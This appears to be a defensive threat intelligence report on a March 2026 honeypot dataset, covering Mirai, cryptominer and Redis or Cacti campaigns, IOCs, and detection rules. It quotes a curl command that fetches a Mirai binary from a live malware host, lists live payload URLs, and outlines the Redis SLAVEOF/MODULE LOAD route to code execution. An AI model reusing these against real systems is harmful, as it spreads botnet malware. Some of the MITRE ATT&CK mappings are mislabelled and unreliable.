T-Pot Multi-Sensor (Sydney).

# Comprehensive Threat Intelligence Report: T-Pot Honeypot Aggregate Analysis (March 2026)

**Key Findings**
*   **Massive Scanning Volume:** Honeypot telemetry indicates over 156 million aggregate attacks, heavily concentrated on encrypted web traffic (Port 443), suggesting widespread automated reconnaissance for vulnerable public-facing applications.
*   **Infrastructure Abuse is Geographically Distributed:** Threat actors frequently leverage networks in Brazil, the Netherlands, and the United States, utilizing a mix of compromised residential infrastructure, commercial VPN endpoints, and potentially bulletproof hosting services.
*   **IoT Botnet Proliferation Remains Constant:** Malware analysis reveals a continuous deployment of Mirai and Gafgyt variants, often delivered via simplistic shell scripts and targeted at legacy IoT devices and unpatched enterprise software (e.g., Cacti, Redis).
*   **Emerging Exploitation Techniques:** Campaigns show an evolution in post-breach tactics, such as utilizing the Redis `SLAVEOF` command to replicate malicious payloads, demonstrating an increase in the sophistication of automated botnet propagation. 

The analysis of cyber threat telemetry from honeypot infrastructure provides critical visibility into the automated, indiscriminate nature of modern cyberattacks. While the data strongly suggests coordinated campaigns leveraging autonomous systems like Alsycon B.V. and DigitalOcean, attribution in cyberspace remains complex due to the prevalent use of proxies, compromised residential routers, and VPNs. It seems likely that the highest volume of attacks originates from opportunistic botnets scanning the entire IPv4 space rather than targeted advanced persistent threats (APTs). The evidence leans toward an ecosystem where threat actors continuously recycle known exploits—such as those targeting Redis and Cacti—repackaging them to compromise poorly secured infrastructure. The findings presented in this report aim to offer defensive teams actionable intelligence, though they should be reviewed with the understanding that honeypot data represents a specific subset of internet background radiation and may not fully encapsulate highly targeted, stealthy intrusions.

This report synthesizes data collected during March 2026 from the NadSec T-Pot honeypot infrastructure in Sydney, Australia. It combines raw telemetry with enriched threat intelligence to provide a deep dive into the attackers' infrastructure, the malware payloads delivered, and the overarching campaigns threatening global networks.

***

## 1. Executive Summary

This Comprehensive Threat Intelligence Report details the findings extracted from the NadSec T-Pot honeypot infrastructure (Sydney, Australia) during the operational period of March 2026 (UTC). Honeypots serve as critical decoy systems designed to attract, log, and analyze malicious network activity, offering a direct window into the tactics, techniques, and procedures (TTPs) employed by contemporary threat actors. The underlying infrastructure encompasses a multitude of specialized sensors, including Suricata for network intrusion detection, Cowrie for SSH/Telnet emulation, Dionaea for capturing malware payloads, and specific protocol emulators such as ADBHoney, Cisco ASA, and Redis honeypots.

During the observation period, the infrastructure recorded a staggering 156,292,044 total attacks, generating 359,157 unique original indicators of compromise (IOCs). The sheer volume of this data highlights the continuous, aggressive nature of internet "background radiation"—automated scanning, brute-forcing, and exploitation attempts executed by autonomous botnets and coordinated threat groups. 

The primary objective of this report is to deconstruct this vast dataset into actionable threat intelligence. By isolating a smart sample of 800 highly relevant indicators (including 664 IP addresses, 101 cryptographic hashes, and 35 malicious URLs) and cross-referencing them against global threat intelligence repositories, this report aims to unmask the adversaries' infrastructure, attribute specific malware families, and map their activities to the MITRE ATT&CK framework.

The empirical data suggests a multi-faceted threat landscape. Attackers are increasingly relying on a combination of compromised residential networks (notably in Brazil and South America), bulletproof hosting providers (frequently routed through the Netherlands), and abused cloud infrastructure (such as DigitalOcean and Datacamp) to obfuscate their origins and scale their operations. Furthermore, the malware ecosystem remains heavily dominated by variants of the Mirai botnet and various Linux-based cryptominers (such as XMRig), which are actively exploiting misconfigured database services (like Redis) and known vulnerabilities in network monitoring tools (such as Cacti). 

This document is intended for an academic and technical cybersecurity audience. It provides a detailed statistical overview, a deep-dive analysis of threat infrastructure, reverse-engineering insights into captured malware payloads, and concrete detection and mitigation strategies (including SIEM queries and intrusion detection rules) to fortify enterprise defenses against these observed threats.

## 2. Statistical Overview and Telemetry Trends

The statistical analysis of the full unsampled dataset (359,157 total indicators) reveals fundamental trends in how threat actors distribute their infrastructure and select their targets. Understanding these macro-level patterns is essential for prioritizing defensive resource allocation.

### 2.1 Geographic Distribution of Threat Origins

Geospatial analysis of the source IP addresses reveals a significant concentration of malicious activity originating from specific regions. 

| Rank | Country Code | Country Name | Total Indicators (Original) | Total Attacks (Enriched) |
| :--- | :--- | :--- | :--- | :--- |
| 1 | BR | Brazil | 308,754 | 72,891,030 |
| 2 | NL | Netherlands | 1,057 | 26,501,769 |
| 3 | US | United States | 17,101 | 23,017,234 |
| 4 | AU | Australia | 2,256 | 6,620,458 |
| 5 | CA | Canada | 470 | 3,408,843 |
| 6 | LT | Lithuania | N/A | 3,038,905 |
| 7 | DE | Germany | 1,742 | 3,029,396 |
| 8 | SC | Seychelles | 196 | 2,078,303 |
| 9 | FR | France | 1,189 | 1,619,162 |
| 10 | HK | Hong Kong | 890 | 1,224,191 |
| 11 | GB | United Kingdom | 2,732 | 1,049,287 |
| 12 | CN | China | 7,586 | 762,114 |

*Note: The distinction between "Total Indicators" (unique IPs scanning the honeypot) and "Total Attacks" (the sheer volume of packets/connections) is crucial. While Brazil accounts for the highest number of unique compromised hosts (likely due to widespread residential botnet infections), networks in the Netherlands generate a disproportionately high volume of raw attack traffic per host, indicative of high-bandwidth commercial servers being abused.*

The heavy presence of Brazilian infrastructure (72.8 million attacks) strongly suggests the extensive exploitation of residential broadband networks and vulnerable consumer Customer Premises Equipment (CPE). In contrast, the high volume of traffic from the Netherlands and the United States often correlates with the abuse of cloud service providers and hosting data centers, which offer the high-speed connectivity required for massive internet-wide scanning campaigns [cite: 1, 2].

### 2.2 Autonomous System Number (ASN) Abuse

Analyzing the Autonomous System Numbers (ASNs) provides a clearer picture of the corporate entities whose networks are facilitating these attacks.

| Rank | ASN Name / Provider | Type | Total Attacks | Notes |
| :--- | :--- | :--- | :--- | :--- |
| 1 | Alsycon B.V. (AS49870) | Data Center / Hosting | 27,743,432 | Known for high-risk proxy/VPN traffic [cite: 3, 4]. |
| 2 | DigitalOcean, LLC | Cloud Provider | 19,809,817 | Frequently abused for short-lived C2 servers [cite: 5]. |
| 3 | Led Internet Eireli (AS264014) | ISP | 11,166,683 | Brazilian residential/business ISP [cite: 2, 6]. |
| 4 | USBINF INFORMATICA LTDA (AS267325) | ISP | 8,104,023 | Brazilian ISP, high botnet traffic [cite: 1, 7]. |
| 5 | JL INFORMATICA E TELECOM LTDA | ISP | 7,585,313 | Brazilian ISP. |
| 6 | Akamai Connected Cloud | CDN / Cloud | 6,812,782 | Abused for payload delivery and masking. |
| 7 | Smart Servico de Internet Ltda | ISP | 5,635,775 | Brazilian ISP. |
| 8 | Omegatech LTD | Hosting | 1,083,126 | Dominates credential hunting and brute-force [cite: 8]. |

The data highlights a dichotomy in attacker methodology. On one hand, commercial hosting providers like Alsycon B.V. and DigitalOcean provide the robust infrastructure necessary to run intensive port scanning and brute-forcing scripts. On the other hand, the heavy presence of Brazilian regional ISPs (Led Internet Eireli, USBINF) indicates a vast network of compromised IoT devices (routers, DVRs, IP cameras) that have been conscripted into botnets to distribute the attack load and evade simple IP-based blocking.

### 2.3 Targeted Ports and Protocols

The distribution of targeted ports illuminates the attackers' primary objectives. 

*   **Port 443 (HTTPS) - 313,844 indicators / 307,844 attacks:** The overwhelming majority of scanning targets Port 443. This reflects the automated scanning for known vulnerabilities in SSL/TLS implementations, vulnerable web applications, and exposed administrative interfaces secured via HTTPS.
*   **Port 445 (SMB) - 4,758 indicators / 4,832 attacks:** The continued targeting of Port 445 demonstrates that legacy exploits (such as EternalBlue/MS17-010) remain a staple in automated attack scripts, seeking out unpatched Windows systems for rapid worm-like propagation.
*   **Port 22 (SSH) - 3,947 indicators / 4,230 attacks:** SSH remains a primary vector for brute-force attacks. Attackers utilize expansive dictionaries of default and commonly used credentials to gain unauthorized terminal access to Linux servers.
*   **Port 80 (HTTP) - 2,660 indicators / 3,336 attacks:** Similar to Port 443, Port 80 is scanned for unauthenticated web interfaces, vulnerable IoT administration panels, and susceptible content management systems (like WordPress).
*   **Port 23 (Telnet) - 1,982 indicators / 2,220 attacks:** Telnet scanning is the hallmark of IoT botnets like Mirai and Gafgyt, which relentlessly search for connected devices utilizing factory-default credentials.
*   **Port 6379 (Redis) - 410 indicators / 595 attacks:** The targeting of Redis databases indicates a more specialized class of attackers seeking to exploit unauthenticated in-memory data structures to achieve remote code execution (RCE) [cite: 9].

### 2.4 Sensor Efficacy

The T-Pot architecture utilizes multiple sensors. The distribution of hits across these sensors provides insight into the nature of the traffic:
*   **p0f (354,480 hits):** A passive OS fingerprinting tool, indicating that the vast majority of interactions were simple network probes and SYN scans rather than full deep-layer application exploits.
*   **Suricata (15,285 hits):** The network intrusion detection system (NIDS) actively matched signatures against the traffic, identifying specific exploit attempts and malware signatures.
*   **Cowrie (5,081 hits):** The SSH/Telnet honeypot captured thousands of interactive sessions, logging brute-force passwords and capturing dropped files.
*   **Dionaea (5,409 hits):** The malware capture honeypot successfully trapped binaries transmitted via protocols like SMB, HTTP, and FTP.

***

## 3. Infrastructure Deep Dive

A critical component of threat intelligence is understanding the physical and logical infrastructure utilized by adversaries. By analyzing the smart sample of IOCs and integrating external threat intelligence, we can classify the attacker infrastructure into several distinct categories: Bulletproof Hosting, Cloud Abuse, Residential Botnets, and specific Malware Hosting/C2 nodes.

### 3.1 Bulletproof Hosting and High-Risk ASNs

Bulletproof hosting providers are entities that are notoriously lenient on acceptable use policies, often ignoring abuse complaints and allowing malicious activity to persist. 

**Alsycon B.V. (AS49870) - Netherlands**
Alsycon B.V., operating out of the Netherlands, is identified as the top offending ASN by volume in this dataset, generating over 27.7 million attacks [cite: 3, 4]. Threat intelligence platforms frequently classify IPs within this ASN as high-risk, noting their use for data center hosting, VPN transit, and proxy services [cite: 10, 11]. 
*   **Example IOC - `194.50.16.15`**: This IP address, assigned to Alsycon B.V. and located in Wormer, Netherlands, is flagged with a high fraud score (82/100) and is associated with proxy connections, spam blacklists, and abusive behavior [cite: 10].
*   **Example IOC - `45.95.147.227`**: Another Alsycon IP observed conducting brute-force attacks and port scanning (specifically targeting Port 23 / Telnet), indicating its use as a scanner for IoT botnets [cite: 12].
*   While some services evaluate Alsycon as having a low percentage of overall fraudulent traffic relative to its size [cite: 13], the absolute volume of attacks originating from its subnets in this dataset makes it a primary node for automated reconnaissance and credential brute-forcing.

### 3.2 Cloud Infrastructure Abuse

Threat actors frequently abuse legitimate cloud service providers (CSPs) by spinning up temporary instances (often using stolen credit cards or free tier accounts) to conduct scanning, host malware, or run C2 servers. The high bandwidth and ephemeral nature of these instances make them ideal for quick campaigns.

**DigitalOcean, LLC (AS14061)**
DigitalOcean represents the second-largest source of attacks by volume.
*   **Example IOC - `138.68.145.7`**: This IP address is heavily reported for port scanning and Elasticsearch exploitation attempts [cite: 14, 15]. The use of cloud infrastructure allows attackers to rapidly scan vast swaths of the internet for exposed databases and unpatched services before the instance is eventually suspended.

**Datacamp Limited / PIA VPN (AS212238)**
Virtual Private Networks (VPNs) are heavily utilized to mask the true origin of attackers.
*   **Example IOC - `158.173.21.216`**: Located in Amsterdam, this IP belongs to the Private Internet Access (PIA) VPN service, operated by Datacamp [cite: 16, 17]. Attackers utilize commercial VPN endpoints to route their attacks, making IP-based blacklisting challenging as it may also block legitimate VPN users [cite: 18].

**Google LLC (AS396982)**
*   **Example IOC - `34.58.124.191`**: This IP address, hosted on Google Cloud in Council Bluffs, Iowa, was observed deploying a JavaScript-based malware framework ("standalone-framework.js"). Threat intelligence indicates this infrastructure is used for web-based attack vectors, such as drive-by downloads or exploiting client-side vulnerabilities, demonstrating how premium cloud space is hijacked to host malicious scripts [cite: 19].

### 3.3 Residential Botnets and Regional ISPs

The highest number of unique indicator IPs originated from Brazil. This points to a massive, distributed network of compromised residential devices. Unlike data center IPs, these residential IP addresses change frequently (dynamic IPs) and belong to legitimate retail ISPs.

**Led Internet Eireli (AS264014) & USBINF INFORMATICA LTDA (AS267325) - Brazil**
*   **Example IOC - `143.0.167.35` (Led Internet)**: Located in Minas Gerais, Brazil, this IP is flagged for high-risk botnet and automated attack traffic. Such IPs are usually compromised home routers or IoT devices conscripted into botnets [cite: 2].
*   **Example IOC - `45.233.178.227` (USBINF)**: Located in Sao Paulo, Brazil, this IP has been reported for participating in DDoS attacks (SYN Floods) and web application hacking [cite: 1]. The widespread nature of these compromised devices across Latin American ISPs [cite: 6, 20] creates a highly resilient and difficult-to-mitigate attack network.

### 3.4 Malware Hosting and C2 Infrastructure

A critical subset of the identified IPs serves not as scanners, but as central distribution hubs for malware payloads. Once a vulnerable device is found by a scanner, it is instructed to download a payload from these hosting nodes.

**IOC: `103.56.149.224` (Malware Delivery Hub)**
*   **Role:** This IP address is actively associated with malware hosting, specifically linked to the OpenSSH and UA-wget malware families [cite: 21]. 
*   **TTPs:** It is frequently used to serve malicious payloads disguised as image files. For example, it hosted the files `/cacti/ns1.jpg` and `/cacti/ns3.jpg` [cite: 22, 23]. These are not images, but rather executable shell scripts or ELF binaries designed to exploit vulnerabilities in the Cacti network monitoring tool or to drop Mirai botnet clients [cite: 22, 24].

**IOC: `196.251.107.133` (Mirai/ELF Hosting)**
*   **Role:** Located in Kenya, this IP address is a high-confidence malware distribution site associated with ELF binaries, the Mirai botnet, and UA-Wget activity [cite: 25, 26].
*   **TTPs:** The server hosts numerous malicious binaries compiled for various architectures, such as `/bins/sin.sh`, `/bins/pmpsl`, `/bins/psh4`, and `/bins/pm68k` [cite: 27, 28]. The presence of these files indicates a highly automated IoT infection framework designed to compromise devices regardless of their underlying CPU architecture (e.g., ARM, MIPS, x86).

**IOC: `165.22.252.236` (Windyloveyou Botnet Hub)**
*   **Role:** This IP acts as a distribution point for a specific variant of the Mirai botnet, identifiable by the unique directory path `/windyloveyou/` [cite: 29, 30].
*   **TTPs:** The server hosts payloads like `windy.x86`, `windy.arm5`, `windy.mpsl`, and `windy.m68k` [cite: 23, 30, 31]. Threat analysis of the `windy.x86` binary (a loader) confirms it infiltrates devices to analyze system information and install Trojans or stealers, eventually conscripting the device into a DDoS botnet [cite: 32].

**IOC: `172.105.186.117` (Multi-Vector Exploitation Node)**
*   **Role:** Operating on the Akamai Connected Cloud in Australia, this IP was observed engaging in multiple distinct attack types.
*   **TTPs:** It was captured by the Redis honeypot attempting unauthenticated database commands [cite: 9]. Furthermore, it was observed probing UPnP endpoints (e.g., `/upnp/control/basicevent1` on ports 1900, 49152, 49153), seeking to exploit vulnerable consumer routers. It also attempted brute-force attacks against WordPress login pages (`wp-login.php` and `/?author=1`).

***

## 4. Malware Analysis

The T-Pot infrastructure, particularly the Cowrie and Dionaea sensors, captured 101 unique cryptographic hashes during the reporting period. Analysis of these hashes reveals a threat landscape dominated by IoT botnets, cryptominers, and initial access droppers.

### 4.1 IoT Botnets: Mirai and Variants

Mirai remains the most pervasive threat to Linux-based IoT devices. Since its source code was leaked in 2016, threat actors have continuously modified it to bypass detection and target new architectures.

*   **Hash:** `199d11d0fd7043fe9206954ed8bc7b54d1912013a2a71bdf8bb007b71bb490c8`
    *   **Context:** This ASCII text file was captured by multiple honeypot sensors (including Cowrie) [cite: 33]. It serves as a classic dropper script. 
    *   **Behavior:** Analysis indicates that this script is utilized to facilitate botnet proliferation. It is often delivered to vulnerable hosts after initial exploitation, containing commands (via `wget` or `curl`) to pull down the actual compiled ELF binaries for the target's specific architecture [cite: 34].
*   **The "Windyloveyou" Variant:**
    *   **Context:** Binaries associated with the `165.22.252.236` host (such as `windy.x86` and `954c03e6_1.sh`) are explicitly tagged as Mirai loaders [cite: 32].
    *   **Behavior:** ANY.RUN sandbox analysis of these loaders reveals that they utilize the `wget` utility heavily to download further payloads [cite: 32]. Once executed, the Mirai variant typically modifies file or directory ownership, attempts to kill competing botnet processes on the infected host, and establishes persistence [cite: 32]. Its primary function remains the execution of high-volume DDoS attacks.

### 4.2 Cryptojacking: CoinMiners

While DDoS botnets seek to disrupt, cryptominers seek to quietly siphon computational resources for financial gain, typically mining Monero (XMR).

*   **Hash:** `048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7`
    *   **Analysis:** This file is an ELF 32-bit LSB executable compiled for Intel 80386 architectures [cite: 35]. It is statically linked and stripped of section headers to complicate reverse engineering.
    *   **Behavior:** Threat intelligence categorizes this binary as a crypto-mining malware [cite: 35, 36]. When deployed on a compromised system, it heavily utilizes the CPU to solve cryptographic puzzles, significantly degrading the host's performance. It is commonly delivered post-exploitation to vulnerable Linux servers.
*   **Hash:** `dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9`
    *   **Analysis:** Similarly, this ELF binary is confirmed to be a CoinMiner payload [cite: 37]. 
    *   **Behavior:** Network graphs and analysis show this binary is frequently uploaded by specific attacker IPs (such as 130.12.180.51) and is closely associated with the "Redtail" malware family, which is known for aggressive cryptojacking operations [cite: 38].

### 4.3 Droppers, Loaders, and Empty Payloads

Initial access payloads are often lightweight scripts designed merely to establish a foothold and assess the environment before pulling heavier malware.

*   **Hash:** `1b20a210fe96e5a8abc347dfb91d7befecb4b5f9b7ed40d856410fac15952057`
    *   **Context:** Captured by Cowrie [cite: 39].
    *   **Behavior:** Identified as a Linux dropper, this script is deployed immediately following a successful brute-force attack to automate the deployment of subsequent payloads. Threat intelligence indicates it has been actively utilized in campaigns originating from automated VPS platforms, facilitating a rapid transition from credential hunting to full infection [cite: 8].
*   **Hash:** `01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b`
    *   **Context:** This specific hash represents an anomaly. It corresponds to an incredibly small file (1 byte or 0 KB) [cite: 40, 41].
    *   **Behavior:** While some threat intelligence sensors (like SGI) flag a file with this hash as a JavaScript-based malware framework named "standalone-framework.js" used for web reconnaissance [cite: 19], sandboxes like ANY.RUN indicate it is an empty file with no malicious indicators [cite: 41]. In honeypot telemetry, this often represents an aborted transfer, an empty payload dropped to test write permissions, or an artifact of the honeypot's capture mechanism itself [cite: 34].

***

## 5. Campaign Analysis

By correlating the raw honeypot telemetry with the analyzed malware and infrastructure, several distinct and ongoing campaigns can be identified. These campaigns highlight the automated and cyclical nature of cyber threats.

### 5.1 Campaign A: The Redis "Rogue Server" Exploitation
The targeting of Port 6379 reveals sophisticated attacks against exposed Redis databases.
*   **Mechanism:** Instead of executing basic shell commands, advanced actors leverage the Redis protocol to establish a rogue replication scenario. The attacker connects to the exposed Redis instance and issues a `SLAVEOF` command, instructing the victim server to synchronize with the attacker's master server [cite: 9].
*   **Execution:** During the synchronization, the attacker pushes a "database dump" that is actually a compiled malicious shared object (`exp.so`). The attacker then executes a `MODULE LOAD` command to execute this payload directly within the Redis kernel memory space, achieving full Remote Code Execution (RCE) [cite: 9].
*   **Objective:** Once RCE is achieved, the payload typically pulls down cryptominers or botnet binaries, effectively hijacking the high-performance database server for the attacker's resource pool. The presence of IP `172.105.186.117` in the Redis logs indicates active scanning for this vulnerability.

### 5.2 Campaign B: Cacti Vulnerability Exploitation
A notable campaign revolves around the exploitation of web-based monitoring tools, specifically Cacti.
*   **Infrastructure:** The C2 server `103.56.149.224` plays a central role [cite: 21, 22, 23].
*   **Mechanism:** Attackers scan for exposed Cacti administrative interfaces. Upon identifying a vulnerable instance, they exploit known vulnerabilities (such as command injection flaws in Cacti) to force the server to download payloads.
*   **Obfuscation:** The payloads are hosted on the attacker's server disguised as image files, such as `http://103.56.149.224/cacti/ns3.jpg` [cite: 22, 23]. This simple evasion technique attempts to bypass basic web filtering or IDS rules that might block `.sh` or `.elf` extensions. Once downloaded, the "image" is executed as a shell script, dropping the OpenSSH or UA-wget malware families onto the host [cite: 21, 23].

### 5.3 Campaign C: The "Windy" Mirai Botnet Expansion
This campaign represents the classic, relentless expansion of IoT botnets.
*   **Infrastructure:** The server `165.22.252.236` hosts the malware files [cite: 30, 31].
*   **Mechanism:** Thousands of compromised residential IPs (like those in Brazil) scan the internet on Port 23 (Telnet) and Port 22 (SSH) for weak credentials. When a successful login is achieved, a script is executed via the terminal.
*   **Execution:** The script utilizes `wget` or `curl` to download the Mirai variant from the hosting server (e.g., `curl -O http://165.22.252.236/windyloveyou/windy.x86`) [cite: 32]. The attacker hosts versions for every conceivable architecture (`.arm5`, `.mpsl`, `.m68k`, `.x86_64`) to ensure the malware executes whether the victim is a generic home router, an IP camera, or a Linux server [cite: 23, 30]. 
*   **Objective:** To assimilate the device into a massive DDoS-as-a-Service botnet.

### 5.4 Campaign D: UPnP and Router Device Exploitation
The dataset shows significant activity targeting non-standard high ports (e.g., 49152, 49153, 1900) with HTTP GET/POST requests directed at `/upnp/control/basicevent1`.
*   **Mechanism:** Attackers (such as `172.105.186.117`) are probing the Universal Plug and Play (UPnP) interface of consumer broadband routers. 
*   **Objective:** Many legacy routers possess vulnerabilities in their UPnP implementations that allow unauthenticated remote attackers to modify port forwarding rules, alter DNS settings, or execute arbitrary code. This campaign aims to subvert the fundamental routing infrastructure of residential networks.

***

## 6. MITRE ATT&CK Mapping

To integrate these findings into standard defensive frameworks, the observed adversary behaviors have been mapped to the MITRE ATT&CK matrix.

| Tactic | Technique ID | Technique Name | Observation / Context |
| :--- | :--- | :--- | :--- |
| **Initial Access** | T1190 | Exploit Public-Facing Application | Scanning and exploitation of exposed Cacti web interfaces, Redis databases (Port 6379), and UPnP router services. |
| **Initial Access** | T1133 | External Remote Services | High-volume brute-force attacks against SSH (Port 22) and Telnet (Port 23) using default credential lists. |
| **Execution** | T1059.004 | Command and Scripting Interpreter: Unix Shell | Execution of dropped shell scripts (`/bins/sin.sh`, `954c03e6_1.sh`) to download and execute secondary malware binaries [cite: 27, 32]. |
| **Execution** | T1059.007 | Command and Scripting Interpreter: JavaScript | Suspected deployment of malicious JavaScript frameworks (e.g., `standalone-framework.js`) for client-side exploitation [cite: 19]. |
| **Persistence** | T1543.002 | Create or Modify System Process: Systemd Service | Mirai variants establishing persistence by modifying crontab or system services to survive reboots [cite: 9]. |
| **Defense Evasion** | T1036.004 | Masquerading: Right-to-Left Override / File Extension | Disguising executable ELF binaries and shell scripts as image files (e.g., `/cacti/ns3.jpg`) to bypass perimeter filtering [cite: 22]. |
| **Defense Evasion** | T1489 | Service Stop | Mirai variants identifying and terminating competing botnet processes (e.g., killing other miners or bot agents) to maximize resource control [cite: 9, 32]. |
| **Command and Control** | T1071.001 | Application Layer Protocol: Web Protocols | Utilizing standard HTTP/HTTPS protocols (via `wget` and `curl`) to download payloads from C2 servers (e.g., `165.22.252.236`, `196.251.107.133`) [cite: 31, 32]. |
| **Impact** | T1498 | Network Denial of Service | The ultimate objective of the deployed Mirai and Gafgyt botnets: launching coordinated DDoS attacks [cite: 9, 32]. |
| **Impact** | T1496 | Resource Hijacking | Deployment of XMRig and related CoinMiner binaries (`048e...`, `dbb7...`) to hijack CPU cycles for cryptocurrency mining [cite: 35, 37]. |

***

## 7. Detection and Mitigation Strategies

Based on the intelligence gathered, defenders must implement a multi-layered security approach. Below are actionable mitigation strategies, SIEM queries, and intrusion detection signatures to counteract the observed campaigns.

### 7.1 Architectural and Firewall Mitigations
1.  **Restrict Database Access:** Redis (Port 6379) and Elasticsearch (Port 9200) must *never* be exposed directly to the public internet. Implement strict firewall rules to ensure these services are only accessible from trusted internal IP ranges or via secure VPN/bastion hosts.
2.  **IoT Device Management:** For enterprise environments utilizing IoT devices, ensure Telnet (Port 23) is completely disabled. Enforce strong, non-default passwords for SSH and administrative web panels.
3.  **Geo-Blocking and ASN Filtering:** While attackers utilize global infrastructure, consider implementing rate-limiting or conditional access policies for traffic originating from high-risk ASNs (e.g., Alsycon B.V. AS49870) and VPN exit nodes (e.g., PIA VPN AS212238), provided doing so does not impact legitimate business operations.

### 7.2 SIEM Hunting Queries

**Detecting Malicious File Downloads (Splunk SPL)**
To identify hosts reaching out to known malware distribution hubs for the "Windyloveyou" and Cacti payloads:

```spl
index=* sourcetype=web_access OR sourcetype=suricata OR sourcetype=firewall
| search url="*windyloveyou*" OR url="*/cacti/ns*.jpg" OR url="*/bins/*.sh" OR url="*/bins/pm*"
| stats count by src_ip, dest_ip, url, action
| sort - count
```
*(Reference: [cite: 42])*

**Detecting Suspicious Outbound Connectivity (Kusto Query Language - Microsoft Sentinel)**
To track Azure/Microsoft environments attempting to download payloads from the identified Kenyan C2 server:

```kusto
DeviceNetworkEvents
| where RemoteIP == "196.251.107.133" or RemoteIP == "103.56.149.224" or RemoteIP == "165.22.252.236"
| where ActionType == "ConnectionSuccess"
| project Timestamp, DeviceName, LocalIP, RemoteIP, RemotePort, RemoteUrl
| order by Timestamp desc
```

**Detecting Redis Rogue Server Activity (Splunk SPL)**
```spl
index=network sourcetype=redis_logs OR (dest_port=6379)
| search "SLAVEOF" OR "MODULE LOAD" OR "system.exec"
| stats count by src_ip, dest_ip, _raw
```

### 7.3 Suricata / Snort Signatures

Deploy the following NIDS rules to detect the specific patterns observed in these campaigns:

**1. Detect Cacti Malicious Image Download (Masquerading):**
```suricata
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET MALWARE Suspicious Cacti Image Request (Possible Payload Drop)"; flow:established,to_server; http.uri; content:"/cacti/ns"; fast_pattern; content:".jpg"; http.host; content:"103.56.149.224"; classtype:trojan-activity; sid:1000001; rev:1;)
```

**2. Detect Mirai Windyloveyou Variant Download:**
```suricata
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET MALWARE Mirai Variant (Windyloveyou) Download Request"; flow:established,to_server; http.uri; content:"/windyloveyou/windy."; fast_pattern; classtype:trojan-activity; sid:1000002; rev:1;)
```

**3. Detect Redis SLAVEOF Exploitation Attempt:**
```suricata
alert tcp $EXTERNAL_NET any -> $HOME_NET 6379 (msg:"ET EXPLOIT Possible Redis Rogue Server SLAVEOF Attempt"; flow:established,to_server; content:"SLAVEOF"; nocase; pcre:"/SLAVEOF\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i"; classtype:attempted-admin; sid:1000003; rev:1;)
```

***

## 8. IOC Appendix

This appendix provides contextualized data for the key indicators extracted from the honeypot sample and enriched by the threat intelligence analysis.

### 8.1 High-Priority IP Addresses

| IP Address | Country | Ports Probed/Used | Threat Context & Labels | References |
| :--- | :--- | :--- | :--- | :--- |
| `103.56.149.224` | Unknown | 80/HTTP | **Malware Hosting:** C2 server dropping OpenSSH and UA-wget payloads. Exploits Cacti vulnerabilities using masqueraded image files (`ns3.jpg`). | [cite: 21, 22, 23] |
| `196.251.107.133` | Kenya | 80/HTTP | **Malware Hosting / C2:** Distributes ELF binaries for the Mirai botnet (`/bins/sin.sh`, `/bins/pmpsl`) across multiple CPU architectures. | [cite: 25, 27, 28] |
| `165.22.252.236` | Unknown | 80/HTTP | **Malware Hosting:** Associated with the "windyloveyou" Mirai variant loader (`windy.x86`). Used in aggressive botnet expansion. | [cite: 29, 30, 32] |
| `172.105.186.117` | Australia | 6379, 1900, 49152 | **Scanning/Exploitation Host:** Akamai Cloud IP actively probing Redis databases, exploiting UPnP (`basicevent1`), and brute-forcing WordPress. | [cite: 9] |
| `138.68.145.7` | US/UK | 80, 443, 5555 | **Cloud Abuse / Scanner:** DigitalOcean infrastructure utilized for aggressive port scanning and Elasticsearch enumeration. | [cite: 5, 14, 15] |
| `158.173.21.216` | Netherlands | 4000, 6379, 9000 | **VPN Abuse:** Datacamp / PIA VPN endpoint masking attacker traffic probing Redis and internal administration ports. | [cite: 16, 17] |
| `194.50.16.15` | Netherlands | 5060 | **High-Risk Proxy:** Alsycon B.V. infrastructure noted for spam, proxies, and abusive automated behavior. | [cite: 10, 11] |
| `45.233.178.227` | Brazil | N/A | **Residential Botnet:** USBINF ISP address observed participating in DDoS attacks and web application scanning. | [cite: 1] |
| `143.0.167.35` | Brazil | N/A | **Residential Botnet:** Led Internet Eireli ISP address associated with botnet and automated attack traffic. | [cite: 2] |
| `34.58.124.191` | US | TCP/HTTP | **Cloud Abuse:** Google Cloud IP deploying malicious JavaScript frameworks. | [cite: 19] |

### 8.2 Analyzed Cryptographic Hashes (SHA256)

| SHA256 Hash | File Type / Sensor | Malware Family / Description | References |
| :--- | :--- | :--- | :--- |
| `199d11d0fd7043fe9206954ed8bc7b54d1912013a2a71bdf8bb007b71bb490c8` | ASCII text (Cowrie) | **Dropper / Botnet Script:** Utilized to download secondary ELF binaries for IoT botnets. | [cite: 33, 34] |
| `048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7` | ELF 32-bit (Cowrie) | **CoinMiner:** Cryptojacking malware deploying XMRig to hijack CPU resources. | [cite: 35, 36] |
| `dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9` | ELF Executable (Cowrie) | **CoinMiner:** Associated with the "Redtail" crypto-malware family. | [cite: 37, 38] |
| `1b20a210fe96e5a8abc347dfb91d7befecb4b5f9b7ed40d856410fac15952057` | Shell Script (Cowrie) | **Loader:** Automated deployment script used post brute-force to pull further payloads. | [cite: 8, 39] |
| `01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b` | 1 byte / JS (Cowrie) | **Reconnaissance / Empty Payload:** Sometimes flagged as "standalone-framework.js", often an artifact of testing write-permissions or a honeypot quirk. | [cite: 19, 40, 41] |

### 8.3 Malicious URLs

| URL | Associated IP / Host | Threat Context |
| :--- | :--- | :--- |
| `http://103.56.149.224/cacti/ns3.jpg` | 103.56.149.224 | Masqueraded payload dropping OpenSSH/Mirai binaries [cite: 22]. |
| `http://103.56.149.224/cacti/ns1.jpg` | 103.56.149.224 | Masqueraded payload dropping UA-wget/Mirai binaries [cite: 23]. |
| `http://196.251.107.133/bins/sin.sh` | 196.251.107.133 | Initial execution script for establishing the Mirai botnet [cite: 28]. |
| `http://196.251.107.133/bins/pmpsl` | 196.251.107.133 | Mirai ELF binary compiled for specific embedded architectures [cite: 27]. |
| `http://165.22.252.236/windyloveyou/windy.x86` | 165.22.252.236 | Mirai loader variant compiled for x86 architecture [cite: 32]. |
